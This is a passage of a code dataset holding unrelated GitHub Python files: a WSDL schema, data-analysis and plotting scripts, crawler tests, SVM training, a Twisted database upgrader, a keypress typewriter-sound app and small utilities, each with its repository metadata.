xsd.Attribute(xsd.String)\n location = xsd.Attribute(xsd.String)\n\n\nclass Input(xsd.ComplexType):\n name = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL) # See note #1.\n message = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL) # See note #2.\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n # Extensibility Elements:\n body = xsd.Element(SOAP_Body, namespace=ns.wsdl_soap)\n headers = xsd.ListElement(SOAP_Header, 'header', minOccurs=0, namespace=ns.wsdl_soap)\n\n\nclass Output(xsd.ComplexType):\n name = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL) # See note #1.\n message = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL) # See note #2.\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n # Extensibility Elements:\n body = xsd.Element(SOAP_Body, namespace=ns.wsdl_soap)\n headers = xsd.ListElement(SOAP_Header, 'header', minOccurs=0, namespace=ns.wsdl_soap)\n\n\nclass Fault(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n message = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL) # See note #2.\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n # Extensibility Elements:\n fault = xsd.Element(SOAP_Fault, namespace=ns.wsdl_soap)\n\n\nclass Operation(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n input = xsd.Element(Input, minOccurs=0)\n output = xsd.Element(Output, minOccurs=0)\n faults = xsd.ListElement(Fault, 'fault', minOccurs=0)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n # Extensibility Elements:\n operation = xsd.Element(SOAP_Operation, minOccurs=0, namespace=ns.wsdl_soap)\n\n\nclass PortType(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n operations = xsd.ListElement(Operation, 'operation', minOccurs=0)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n\nclass Binding(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n type = xsd.Attribute(xsd.String)\n operations = xsd.ListElement(Operation, 'operation', minOccurs=0)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n # Extensibility Elements:\n binding = xsd.Element(SOAP_Binding, namespace=ns.wsdl_soap)\n\n\nclass Port(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n binding = xsd.Attribute(xsd.String)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n # Extensibility Elements:\n address = xsd.Element(SOAP_Address, namespace=ns.wsdl_soap)\n\n\nclass Service(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n ports = xsd.ListElement(Port, 'port', minOccurs=0)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n\nclass Definitions(xsd.ComplexType):\n name = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL)\n targetNamespace = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL)\n imports = xsd.ListElement(Import, 'import', minOccurs=0)\n types = xsd.Element(Types, minOccurs=0)\n messages = xsd.ListElement(Message, 'message', minOccurs=0)\n portTypes = xsd.ListElement(PortType, 'portType', minOccurs=0)\n bindings = xsd.ListElement(Binding, 'binding', minOccurs=0)\n services = xsd.ListElement(Service, 'service', minOccurs=0)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n\nSCHEMA = xsd.Schema(\n targetNamespace=ns.wsdl,\n elementFormDefault=xsd.ElementFormDefault.QUALIFIED,\n simpleTypes=[],\n attributeGroups=[],\n groups=[],\n complexTypes=[Types, Part, Message, Input, Output, Fault, Operation,\n PortType, Binding, Port, Service, Import, Definitions],\n elements={},\n)\n","repo_name":"soapteam/soapfish","sub_path":"soapfish/wsdl11.py","file_name":"wsdl11.py","file_ext":"py","file_size_in_byte":6825,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"48"} +{"seq_id":"74537773266","text":"import pandas as pd\nfrom scipy.stats import pearsonr\nfrom pandas import ExcelWriter\n\npd.set_option('display.max_columns',None)\ndata=pd.read_csv('answers.csv')\nprint(data.head(5))\nprint(f'data.shape: {data.shape}')\n\n# Get list of column headers\nquestions=[]\nfor i in range(18,107):\n questions.append(list(data)[i])\nprint(questions)\n\noutputs=[]\nfor j in range(107,114):\n outputs.append(list(data)[j])\nprint(outputs)\n\n\n# Example: finding Pearson's coefficient between an input question and an output\n# coef_,_=pearsonr(data.iloc[:,18],data.iloc[:,107])\n# print(coef_)\n\ndf=pd.DataFrame()\n\nfor j in range(107,114):\n q=[]\n for i in range(18,107):\n coef_,_=pearsonr(data.iloc[:,i],data.iloc[:,j])\n q.append(coef_)\n df[f'R{j-106}']=q\n\n\nmax_coef=df.idxmax(axis=1)\n# print(max_coef)\ndf.insert(7,'Max Coef_',max_coef,True)\n\nq=[]\nfor i in range(18,107):\n q.append(f'Q{i-17}')\ndf.insert(0,'Question',q,True)\n\nprint(df)\n\ndf2=pd.DataFrame()\ndf2['Question #']=df['Question']\ndf2['Linked Output #']=df['Max Coef_']\n\nquestion_dict={f'Q{i+1}':questions[i] for i in range(89)}\n# print(question_dict)\nq_content=[]\nfor i in df['Question']:\n q_content.append(question_dict[i])\n\ndf2['Question Content']=q_content\n\noutput_dict={f'R{j+1}':outputs[j] for j in range(7)}\no_content=[]\nfor j in df['Max Coef_']:\n o_content.append(output_dict[j])\n\ndf2['Output']=o_content\n\nprint(df2)\n\nwriter=ExcelWriter('Input_Output Pairs.xlsx')\ndf.to_excel(writer,sheet_name='Pearson coefficients')\ndf2.to_excel(writer,sheet_name='I-O Pairs')\nwriter.save()\n","repo_name":"harry-oakenshield/psychometrics","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39774093679","text":"from __future__ import division\nimport numpy as np\nimport uproot\nimport sys\nfrom tqdm import tqdm\nimport uproot_methods\nimport matplotlib.pyplot as plt\nfrom Dataset.Signal import Wto3l\n\ninput_dir = \"/cmsuf/data/store/user/t2/users/nikmenendez/skimmed/NanoAOD/2017/signal/signal_sel/Eff/\"\nmasses = [4,5,10,15,30,60]\nmasses = [4]\nxs = {\"ZpM4\": 7.474}\nsumW = {\"ZpM4\": 100000}\nlumi = 41.4*1000\n\nfor m in masses:\n\tweight = (xs[\"ZpM%i\"%(m)]*.01)/sumW[\"ZpM%i\"%(m)]*lumi\n\tprint(weight)\n\tfile = uproot.open(input_dir+\"Wto3l_M%s.root\"%(str(m)))\n\tevents = file[\"passedEvents\"]\n\n\tvars_in = [\"pTL1\",\"pTL2\",\"pTL3\",\"etaL1\",\"etaL2\",\"etaL3\",\"phiL1\",\"phiL2\",\"phiL3\",\"massL1\",\"massL2\",\"massL3\",\"idL1\",\"idL2\",\"idL3\",\"dR12\",\"dR13\",\"dR23\",\"m3l\",\"IsoL1\",\"IsoL2\",\"IsoL3\",\"medIdL1\",\"medIdL2\",\"medIdL3\"]\n\tdata = events.arrays(vars_in)\n\n\tLep1 = uproot_methods.classes.TLorentzVector.PtEtaPhiMassLorentzVectorArray(data[b'pTL1'],data[b'etaL1'],data[b'phiL1'],data[b'massL1'])\n\tLep2 = uproot_methods.classes.TLorentzVector.PtEtaPhiMassLorentzVectorArray(data[b'pTL2'],data[b'etaL2'],data[b'phiL2'],data[b'massL2'])\n\tLep3 = uproot_methods.classes.TLorentzVector.PtEtaPhiMassLorentzVectorArray(data[b'pTL3'],data[b'etaL3'],data[b'phiL3'],data[b'massL3'])\n\n\t# Define 3 possible Zp combinations\n\tP1 = Lep1 + Lep2\n\tP2 = Lep1 + Lep3\n\tP3 = Lep2 + Lep3\n\t\n\t# Define 3 groups of possible combinations of muons\n\tdata[\"p1\"] = data[b'idL1']!=data[b'idL2']\n\tdata[\"p2\"] = data[b'idL1']!=data[b'idL3']\n\tdata[\"p3\"] = data[b'idL2']!=data[b'idL3']\n\n\t# --------- Define Mass1 as (not) the highest pT muon + highest pT anti-muon -------------------------------------\n\tM0 = (P1).mass*np.logical_not(data[\"p1\"]) + (P2).mass*np.logical_not(data[\"p2\"]) + (P3).mass*np.logical_not(data[\"p3\"])\n\tM1 = (P3).mass*data[\"p3\"] + (P2).mass*(data[\"p2\"] & np.logical_not(data[\"p3\"]))\n\tM2 = (P1).mass*data[\"p1\"] + (P2).mass*(data[\"p2\"] & np.logical_not(data[\"p1\"]))\n\tdata[\"dRM1\"] = data[b'dR12']*data[\"p1\"] + data[b'dR13']*(data[\"p2\"] & np.logical_not(data[\"p1\"]))\n\tdata[\"dRM2\"] = data[b'dR23']*data[\"p3\"] + data[b'dR13']*(data[\"p2\"] & np.logical_not(data[\"p3\"]))\n\tdata[\"M0\"] = M0\n\tdata[\"M1\"] = np.fmax(M1,M2) # pick higher mass possible pair\n\tdata[\"M2\"] = np.fmin(M1,M2) # pick lowest mass possible pair\n\t# ----------------------------------------------------------------------------------------------------------------\n\n\t# Define cuts\n\tselection = data[\"M1\"] > 1.1\t\n\tselection *= data[\"M2\"] > 1.1\t\n\tselection *= (data[\"M1\"] < 9.) | (data[\"M1\"] > 11.)\n\tselection *= (data[\"M2\"] < 9.) | (data[\"M2\"] > 11.)\n\tselection *= (data[\"M1\"] > 3.9) | (data[\"M1\"] < 2.9)\n\tselection *= (data[\"M2\"] > 3.9) | (data[\"M2\"] < 2.9)\n\tselection *= data[b'pTL1'] > 12\t\n\tselection *= data[b'pTL2'] > 10\n\tselection *= data[b'pTL3'] > 5\t\n\tselection *= (data[b'IsoL1'] < 0.1) & (data[b'IsoL2'] < 0.1) & (data[b'IsoL3'] < 0.1)\n\tselection *= (data[b'medIdL1'] == 1) & (data[b'medIdL2'] == 1) & (data[b'medIdL3'] == 1)\n\n\txlow = m - round(m*.5)\n\txhigh = m + round(m*.5)\n\txsplit = round(xhigh-xlow)*10\n\n\tif m<30:\n\t\tbinsx=np.linspace(0,70,140)\n\t\tbinsy=np.linspace(xlow,xhigh,xsplit)\n\telif m>30:\n\t\tbinsy=np.linspace(0,70,140)\n\t\tbinsx=np.linspace(xlow,xhigh,xsplit)\n\telse:\n\t\tbinsx=np.linspace(0,70,140)\n\t\tbinsy=np.linspace(0,70,140)\n\n\tplt.hist2d(data[\"M1\"][selection],data[\"M2\"][selection],bins=[binsx,binsy],cmap=plt.cm.nipy_spectral)\n\tplt.xlabel(\"M1 (GeV)\")\n\tplt.ylabel(\"M2 (GeV)\")\n\tplt.title(\"M1 vs. M2 for Zp M%i\"%(m))\n\tplt.colorbar()\n\t#plt.savefig(\"output/2dPlots/M1vsM2_ZpM%i.png\"%(m))\n\tplt.clf()\n\n\tplt.hist2d(data[\"dRM1\"][selection],data[\"dRM2\"][selection],bins=40,cmap=plt.cm.nipy_spectral)\n\tplt.xlabel(\"dR Between M1 Muons\")\n\tplt.ylabel(\"dR Between M2 Muons\")\n\tplt.title(\"dRM1 vs. dRM2 for Zp M%i\"%(m))\n\tplt.colorbar()\n\t#plt.savefig(\"output/2dPlots/dR_ZpM%i.png\"%(m))\n\tplt.clf()\n\n\ty,binEdges = np.histogram(data[b\"m3l\"][selection],bins=83,range=(0,83))\n\terror = np.sqrt(y)*weight\n\tweight_arr = np.ones(len(data[b\"m3l\"][selection]))*weight\n\ty,binEdges = np.histogram(data[b\"m3l\"][selection],bins=83,range=(0,83),weights=weight_arr)\n\tbincenters = 0.5*(binEdges[1:]+binEdges[:-1])\n\tplt.errorbar(bincenters,y,yerr=error,drawstyle='steps-mid',label='ZpM%i: %.2f'%(m,np.sum(y)))\n\tplt.xlabel(\"3 Muon Invariant Mass\")\n\tplt.ylabel(\"Number of Events\")\n\tplt.title(\"3 Muon Invariant Mass for ZpM%i\"%(m))\n\tplt.legend(loc='best')\n\tplt.show()\n","repo_name":"Nik-Menendez/Wto3l_NanoAOD_Plotter","sub_path":"2dPlot.py","file_name":"2dPlot.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7711061091","text":"import json\nimport pytest\n\nfrom crawler import Crawler, EmptyKeywords, NoQueryTypeProvided\n\n\n@pytest.fixture()\ndef request_ok():\n \"\"\"\n Returns a valid input dict\n :return: valid input dict.\n \"\"\"\n return dict(\n keywords=[\"openstack\", \"nova\", \"css\"],\n proxies=[\"194.126.37.94:8080\", \"13.78.125.167:8080\"],\n type=\"Repositories\"\n )\n\n\n@pytest.fixture()\ndef response_repos_ok():\n \"\"\"\n Returns a correct repos list response.\n :return: correct repos list response.\n \"\"\"\n return [{\n \"url\": \"https://github.com/atuldjadhav/DropBox-Cloud-Storage\",\n \"extra\": {\n \"owner\": \"atuldjadhav\",\n \"language_stats\": {\n \"CSS\": 52.0,\n \"JavaScript\": 47.2,\n \"HTML\": 0.8}}}]\n\n\n@pytest.fixture()\ndef response_wikis_ok():\n \"\"\"\n Returns a correct wikis list response.\n :return: correct wikis list response.\n \"\"\"\n return [\n {\"url\": \"https://github.com/vault-team/vault-website/wiki/Quick-instal\"\n \"lation-guide\"},\n {\"url\": \"https://github.com/iiwaziri/wiki_learn/wiki/Packstack\"},\n {\"url\": \"https://github.com/marcosaletta/Juno-CentOS7-Guide/wiki/2.-Co\"\n \"ntroller-and-Network-Node-Installation\"},\n {\"url\": \"https://github.com/MirantisDellCrowbar/crowbar/wiki/Release-n\"\n \"otes\"},\n {\"url\": \"https://github.com/dellcloudedge/crowbar/wiki/Release-notes\"},\n {\"url\": \"https://github.com/rhafer/crowbar/wiki/Release-notes\"},\n {\"url\": \"https://github.com/eryeru12/crowbar/wiki/Release-notes\"},\n {\"url\": \"https://github.com/vinayakponangi/crowbar/wiki/Release-note\"\n \"s\"},\n {\"url\": \"https://github.com/jamestyj/crowbar/wiki/Release-notes\"},\n {\"url\": \"https://github.com/opencit/opencit/wiki/Open-CIT-3.2.1-Produc\"\n \"t-Guide\"}\n ]\n\n\n@pytest.fixture()\ndef response_issues_ok():\n \"\"\"\n Returns a correct issues list response.\n :return: correct issues list response.\n \"\"\"\n return [\n {\"url\": \"https://github.com/hellowj/blog/issues/37\"},\n {\"url\": \"https://github.com/sfPPP/openstack-note/issues/8\"},\n {\"url\": \"https://github.com/altai/nova-billing/issues/1\"},\n {\"url\": \"https://github.com/novnc/websockify/issues/180\"},\n {\"url\": \"https://github.com/aaronkurtz/gourmand/pull/35\"},\n {\"url\": \"https://github.com/zioc/contrail-devstack-plugin/issues/27\"},\n {\"url\": \"https://github.com/rcbops/rpc-openstack/pull/2257\"},\n {\"url\": \"https://github.com/sphinx-doc/sphinx/issues/3782\"},\n {\"url\": \"https://github.com/clearlydefined/service/issues/85\"},\n {\"url\": \"https://github.com/python/core-workflow/issues/6\"}\n ]\n\n\ndef test_repos_ok(request_ok, response_repos_ok):\n \"\"\"\n Test that the repository functionality work ok.\n :param request_ok: dictionary with a correct repos query.\n :param response_ok: list with a correct response\n \"\"\"\n cr = Crawler()\n query_data = json.dumps(request_ok)\n expected_response = json.dumps(response_repos_ok)\n assert cr.query(query_data) == expected_response\n\n\ndef test_wikis_ok(request_ok, response_wikis_ok):\n \"\"\"\n Test that the wikis functionality work ok.\n :param request_ok: dictionary with a correct wikis query.\n :param response_ok: list with a correct response\n \"\"\"\n cr = Crawler()\n request_ok['type'] = \"Wikis\"\n query_data = json.dumps(request_ok)\n expected_response = json.dumps(response_wikis_ok)\n assert cr.query(query_data) == expected_response\n\n\ndef test_issues_ok(request_ok, response_issues_ok):\n \"\"\"\n Test that the issues functionality work ok.\n :param request_ok: dictionary with a correct issues query.\n :param response_ok: list with a correct response\n \"\"\"\n cr = Crawler()\n request_ok['type'] = \"Issues\"\n query_data = json.dumps(request_ok)\n expected_response = json.dumps(response_issues_ok)\n assert cr.query(query_data) == expected_response\n\n\ndef test_empty_keywords(request_ok):\n \"\"\"\n Test that an EmptyKeywords exception is raised when empty keywords.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n request_ok['keywords'] = []\n query_data = json.dumps(request_ok)\n with pytest.raises(EmptyKeywords):\n cr.query(query_data)\n\n\ndef test_not_list_keywords(request_ok):\n \"\"\"\n Test that a TypeError exception is raised when keywords is not a list.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n request_ok['keywords'] = 123\n query_data = json.dumps(request_ok)\n with pytest.raises(TypeError):\n cr.query(query_data)\n\n\ndef test_no_keywords(request_ok):\n \"\"\"\n Test that a KeyError exception is raised when no keywords.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n del request_ok['keywords']\n query_data = json.dumps(request_ok)\n with pytest.raises(KeyError):\n cr.query(query_data)\n\n\ndef test_not_list_proxies(request_ok):\n \"\"\"\n Test that a TypeError exception is raised when proxies is not a list.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n request_ok['proxies'] = 123\n query_data = json.dumps(request_ok)\n with pytest.raises(TypeError):\n cr.query(query_data)\n\n\ndef test_no_proxies(request_ok):\n \"\"\"\n Test that a KeyError exception is raised when no proxies.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n del request_ok['proxies']\n query_data = json.dumps(request_ok)\n with pytest.raises(KeyError):\n cr.query(query_data)\n\n\ndef test_empty_type(request_ok):\n \"\"\"\n Test that an NoQueryTypeProvided exception is raised when empty type.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n request_ok['type'] = \"\"\n query_data = json.dumps(request_ok)\n with pytest.raises(NoQueryTypeProvided):\n cr.query(query_data)\n\n\ndef test_incorrect_type(request_ok):\n \"\"\"\n Test that an NoQueryTypeProvided exception is raised when incorrect type.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n request_ok['type'] = \"blabla\"\n query_data = json.dumps(request_ok)\n with pytest.raises(NoQueryTypeProvided):\n cr.query(query_data)\n\n\ndef test_not_string_type(request_ok):\n \"\"\"\n Test that a TypeError exception is raised when proxies is not a string.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n request_ok['type'] = 123\n query_data = json.dumps(request_ok)\n with pytest.raises(TypeError):\n cr.query(query_data)\n\n\ndef test_no_type(request_ok):\n \"\"\"\n Test that a KeyError exception is raised when no type.\n :param request_ok: dictionary with a correct repos query.\n \"\"\"\n cr = Crawler()\n del request_ok['type']\n query_data = json.dumps(request_ok)\n with pytest.raises(KeyError):\n cr.query(query_data)\n","repo_name":"rdomenech/crawler","sub_path":"test_crawler.py","file_name":"test_crawler.py","file_ext":"py","file_size_in_byte":7089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72506122066","text":"import argparse\nimport numpy as np\nimport pickle\n\n\nfrom sklearn.preprocessing import LabelEncoder, Normalizer\nfrom sklearn.svm import SVC\n\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-d\", \"--dataset\", required=True,\n help=\"Path to serialized dataset of facial embeddings\")\nap.add_argument(\"-r\", \"--recognizer\", required=True,\n help=\"Path to output model trained to distinguish between faces\")\nap.add_argument(\"-l\", \"--le\", required=True,\n help=\"Path to output label encoder\")\nargs = vars(ap.parse_args())\n\n\ndataset = np.load(args[\"dataset\"])\nX, y = dataset[\"embeddings\"], dataset[\"labels\"]\n\n# Normalize input vectors\nenc_norm = Normalizer(norm='l2')\nX = enc_norm.transform(X)\n\n# Label encode targets\nenc_label = LabelEncoder()\ny = enc_label.fit_transform(y)\n\n# Fit model\nrecognizer = SVC(kernel='linear', probability=True)\nrecognizer.fit(X, y)\n\n# Write the actual face recognition SVM model to disk\nwith open(args[\"recognizer\"], \"wb\") as f:\n f.write(pickle.dumps(recognizer))\n\n# Write the label encoder to disk\nwith open(args[\"le\"], \"wb\") as f:\n f.write(pickle.dumps(enc_label))\n","repo_name":"akulchik/PandaOne-Restaurant-Face-Recognition","sub_path":"face_detection/facenet/train_svm.py","file_name":"train_svm.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"44195159795","text":"\nimport requests\npage = requests.get('https://www.google.com')\nprint(page.text[0:100])\n\n\nfrom bs4 import BeautifulSoup\nsoup = BeautifulSoup(page.text, 'html.parser')\nget_cont = soup.find('title').text\nprint(get_cont)\n\n","repo_name":"Livin23/Pywebscrap","sub_path":"GoogleScrap.py","file_name":"GoogleScrap.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2204714342","text":"\"\"\"\nDatabase initialization and upgrade.\n\"\"\"\n\n# When modifying this class, also update doc/database.sql\n\nfrom twisted.python import log\nfrom twisted.internet import reactor, defer\nfrom twisted.enterprise import adbapi\n\nclass Database:\n \n def __init__(self, config):\n p = adbapi.ConnectionPool(\"psycopg2\",\n \"host=%s port=%d dbname=%s \"\n \"user=%s password=%s\" % (\n config.get('host', 'localhost'),\n config.get('port', 5432),\n config.get('database', 'qcss3'),\n config.get('username', 'qcss3'),\n config.get('password', 'qcss3')))\n self.pool = p\n reactor.callLater(0, self.checkDatabase)\n\n def checkDatabase(self):\n \"\"\"\n Check if the database is running. Otherwise, stop the reactor.\n\n If the database is running, launch upgrade process.\n \"\"\"\n d = self.pool.runOperation(\"SELECT 1 FROM loadbalancer LIMIT 1\")\n d.addCallbacks(lambda _: self.upgradeDatabase(),\n self.databaseFailure)\n return d\n\n def upgradeDatabase(self):\n \"\"\"\n Try to upgrade database by running various upgrade_* functions.\n\n Those functions should be run as sooner as possible. However,\n to keep the pattern simple, we don't make them exclusive: the\n application can run while the upgrade is in progress.\n \"\"\"\n fs = [x for x in dir(self) if x.startswith(\"upgradeDatabase_\")]\n fs.sort()\n d = defer.succeed(None)\n for f in fs:\n d.addCallback(lambda x,ff: log.msg(\"Upgrade database: %s\" %\n getattr(self, ff).__doc__), f)\n d.addCallback(lambda x,ff: getattr(self, ff)(), f)\n d.addCallbacks(\n lambda x: log.msg(\"database upgrade completed\"),\n self.upgradeFailure)\n return d\n\n def databaseFailure(self, fail):\n \"\"\"Unable to connect to the database\"\"\"\n log.msg(\"unable to connect to database:\\n%s\" % str(fail))\n reactor.stop()\n\n def upgradeFailure(self, fail):\n \"\"\"When upgrade fails, just stop the reactor...\"\"\"\n log.msg(\"unable to update database:\\n%s\" % str(fail))\n reactor.stop()\n\n def upgradeDatabase_01(self):\n \"\"\"add action table\"\"\"\n\n def create(txn):\n \"\"\"Create action table and its indexes.\"\"\"\n txn.execute(\"\"\"\nCREATE TABLE action (\n lb text NOT NULL,\n vs text NULL,\n rs text NULL,\n action text NOT NULL,\n label text NOT NULL,\n PRIMARY KEY (lb, vs, rs, action)\n)\"\"\")\n txn.execute(\"CREATE INDEX action_lb_vs_rs ON action (lb, vs, rs)\")\n\n d = self.pool.runOperation(\"SELECT 1 FROM action LIMIT 1\")\n d.addCallbacks(lambda _: None,\n lambda _: self.pool.runInteraction(create))\n return d\n\n def upgradeDatabase_02(self):\n \"\"\"add past tables\"\"\"\n\n def addpast(txn):\n for table in [\"loadbalancer\", \"virtualserver\", \"virtualserver_extra\",\n \"realserver\", \"realserver_extra\"]:\n txn.execute(\"CREATE TABLE %s_past (LIKE %s)\" % ((table,)*2))\n # Create view\n txn.execute(\"CREATE VIEW %s_full AS \"\n \"(SELECT * FROM %s UNION SELECT * FROM %s_past)\" % ((table,)*3))\n # Add index on `deleted'\n txn.execute(\"CREATE INDEX %s_past_deleted ON %s_past (deleted)\" % ((table,)*2))\n # Primary keys\n txn.execute(\"ALTER TABLE loadbalancer_past ADD PRIMARY KEY (name, deleted)\")\n txn.execute(\"ALTER TABLE virtualserver_past ADD PRIMARY KEY (lb, vs, deleted)\")\n txn.execute(\"ALTER TABLE virtualserver_extra_past ADD PRIMARY KEY (lb, vs, key, deleted)\")\n txn.execute(\"ALTER TABLE realserver_past ADD PRIMARY KEY (lb, vs, rs, deleted)\")\n txn.execute(\"ALTER TABLE realserver_extra_past ADD PRIMARY KEY (lb, vs, rs, key, deleted)\")\n\n d = self.pool.runOperation(\"SELECT 1 FROM loadbalancer_past LIMIT 1\")\n d.addCallbacks(lambda _: None,\n lambda _: self.pool.runInteraction(addpast))\n return d\n","repo_name":"vincentbernat/QCss-3","sub_path":"qcss3/core/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21854403214","text":"#!D:\\anaconda3\\envs\\py39\\pythonw.exe\r\nimport os\r\nimport threading\r\n\r\ntry:\r\n from pynput import keyboard\r\n import pygame\r\n import pystray\r\n from pystray import Menu, MenuItem\r\n from PIL import Image\r\nexcept ModuleNotFoundError or ImportError:\r\n path=os.path.dirname(os.path.abspath(__file__)).replace(\"\\\\\", \"/\")+\"/asset/requirments.txt\"\r\n os.system(f'pip install -r {path}')\r\n\r\n from pynput import keyboard\r\n import pygame\r\n import pystray\r\n from pystray import Menu, MenuItem\r\n from PIL import Image\r\n\r\npygame.init()\r\npygame.mixer.init()\r\n\r\ndonepressed=[]\r\n\r\nstate = 0\r\n\r\ndef set_state(v):\r\n def inner(icon, item):\r\n global state\r\n state = v\r\n return inner\r\n\r\ndef get_state(v):\r\n def inner(item):\r\n return state == v\r\n return inner\r\n\r\ndef playsound():\r\n sound=pygame.mixer.Sound(os.path.dirname(os.path.abspath(__file__)).replace(\"\\\\\", \"/\")+\"/asset/audio/sound.mp3\")\r\n sound.set_volume(0.1)\r\n sound.play()\r\n\r\ndef on_press(key):\r\n if key not in donepressed and state == 0:\r\n donepressed.append(key)\r\n threading.Thread(target=playsound).start()\r\n\r\ndef on_release(key):\r\n try:\r\n donepressed.remove(key)\r\n except:\r\n pass\r\n\r\n\r\n\r\nicon=Image.open(os.path.dirname(os.path.abspath(__file__)).replace(\"\\\\\", \"/\")+\"/asset/typewriter.png\")\r\nicon=pystray.Icon(\"TypeWriter\", icon=icon,\r\n menu=Menu(\r\n MenuItem(\"On\", set_state(0), checked=get_state(0), radio=True),\r\n MenuItem(\"Off\", set_state(1), checked=get_state(1), radio=True))).run_detached()\r\n\r\n# Collect events until released\r\nwith keyboard.Listener(\r\n on_press=on_press,\r\n on_release=on_release) as listener:\r\n listener.join()","repo_name":"BlueveryPi/TypeWriter","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7824735034","text":"class Solution(object):\n def groupAnagrams(self, strs):\n \"\"\"\n :type strs: List[str]\n :rtype: List[List[str]]\n \"\"\"\n d = dict()\n for s in strs:\n t = tuple(sorted(s))\n if t not in d:\n d[t] = []\n d[t].append(s)\n return d.values()\n\ns = Solution()\nprint(s.groupAnagrams([\"cab\",\"pug\",\"pei\",\"nay\",\"ron\",\"rae\",\"ems\",\"ida\",\"mes\"]))","repo_name":"0as1s/leetcode","sub_path":"49_groupAnagrams.py","file_name":"49_groupAnagrams.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38442021753","text":"import time\nfrom subprocess import call\nimport random\n\n\ndef drunk(text):\n\tdrunk_talk = intoxacation(text)\n\tfor color in('12', '45', 'F0', '2E', '0F'):\n\t\tcall('cls', shell = True)\n\t\tcall('color ' + color, shell = True)\n\t\tprint(drunk_talk)\n\t\ttime.sleep(0.3)\n\n\n\ndef intoxacation(text):\n\tstring_letters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\ttext = \"\".join(i if random.randint(0,4) else random.choice(string_letters) for i in text)\t\n\n\treturn text\n\nn = 0\nsome_text = \"\"\"\nou are standing in a small hotel in London.\nYour boss, Chief Inspector Jing has ordered you to take down the \nhead of the London Mafia, Dr Kirill. Your sources tell \nyou that he's hidden somewhere in this hotel. Find him. \nYou can go west to the hotel bar, north to the \nkitchen and east to the first floor stairs.\"\"\"\nfor n in range(0, 5):\n\tdrunk(some_text)\n\tn = n + 1\n\n\"\"\"\nprint (\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Enter the times you need to prepare (1-10): \")\n\n#colours (blue,gree) (red, purple) (bright white, black), (green, light yellow)\n\"\"\"","repo_name":"AnwenGovier/Group_Project","sub_path":"drunk_sequence_example.py","file_name":"drunk_sequence_example.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"38611128670","text":"import urllib.request\nimport json\nimport ssl\nimport re\n\ndef getcontent(url):\n header = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\"\n }\n req = urllib.request.Request(url,headers=header)\n response = urllib.request.urlopen(req)\n data = response.read().decode(\"utf8\")\n pattern = r'
